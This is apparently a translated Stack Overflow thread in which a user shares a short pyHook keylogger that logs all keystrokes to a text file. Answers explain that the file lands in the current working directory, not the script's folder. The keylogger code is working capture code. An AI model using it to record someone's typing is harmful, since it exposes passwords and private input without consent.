2016-08-02 53 views
0

我想在python中使這個簡單的鍵盤記錄,它工作得很好,當我運行在空閒,但在控制檯它doesn'將日誌寫入文件。Python腳本打開('文件名')與IDLE工作,但無法在控制檯工作

import pyHook, pythoncom, sys 

log = '' 

def OnKeyPress(event):  
    global log 
    log += chr(event.Ascii) 

    if event.Ascii == 27: # if user press esc 
     with open('teste27.txt', 'a') as f: 
      f.write(log)     
      f.close() 
      sys.exit(0) 


#instantiate HookManager class 
new_hook = pyHook.HookManager() 
#listen to all keystrokes 
new_hook.KeyDown = OnKeyPress 
#Hook the keyboard 
new_hook.HookKeyboard() 
#start the session 
pythoncom.PumpMessages() 
+0

我發現了錯誤。只需要指定完整路徑:open(r'C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.txt','a') –

回答

0

爲了對他人有所幫助,問題中的問題需要說明。具有相對路徑(如「something.txt」)的'open(filepath)'將打開相對於'當前工作目錄'的文件。對於簡單的文件名,這意味着在當前的工作目錄(CWD)。

當IDLE在編輯器中運行代碼時,它會使新代碼的當前工作目錄運行代碼,使其成爲代碼的目錄。 (IDLE進程的CWD將被忽略。)因此,如果您正在編輯r'C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.py',則打開'teste27.txt'確實會打開r' C:\ Users \用戶Henrique的\文件\計劃成\的Python \鍵盤記錄\ teste27.txt」。

控制檯是一個正在運行的CWD程序。對於大多數控制檯,默認提示包括CWD。當您從控制檯運行程序時,它會繼承CWD amd與該CWD一起運行,除非程序更改它。它必須是你沒有製作r'C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \'控制檯的CWD,而是通過給程序的路徑在其他地方運行你的程序:「python somepath/teste27 py」爲。你應該在你啓動程序的任何CWD中找到一個流浪的'teste27.txt'。

你可以避免使用正斜槓來添加'r'到路徑。 'C:/Users/henrique/Documents/Programas/Python/Keylogger/teste27.txt'。當您爲要運行的程序提供路徑時,您必須在控制檯上使用反斜線。

當您在一個目錄中打開多個文件時,一種可用的替代解決方案是使該目錄成爲CWD。例如,

import os 
os.chdir('C:/Users/henrique/Documents/Programas/Python/Keylogger') 

然後'打開(texte27.txt)'會按照你的想法工作。

+0

準確地說,文件是在默認控制檯的CWD中創建的, 「C:\用戶\恩裏克」。 我不知道這些正斜槓,謝謝你的提示 –

相關問題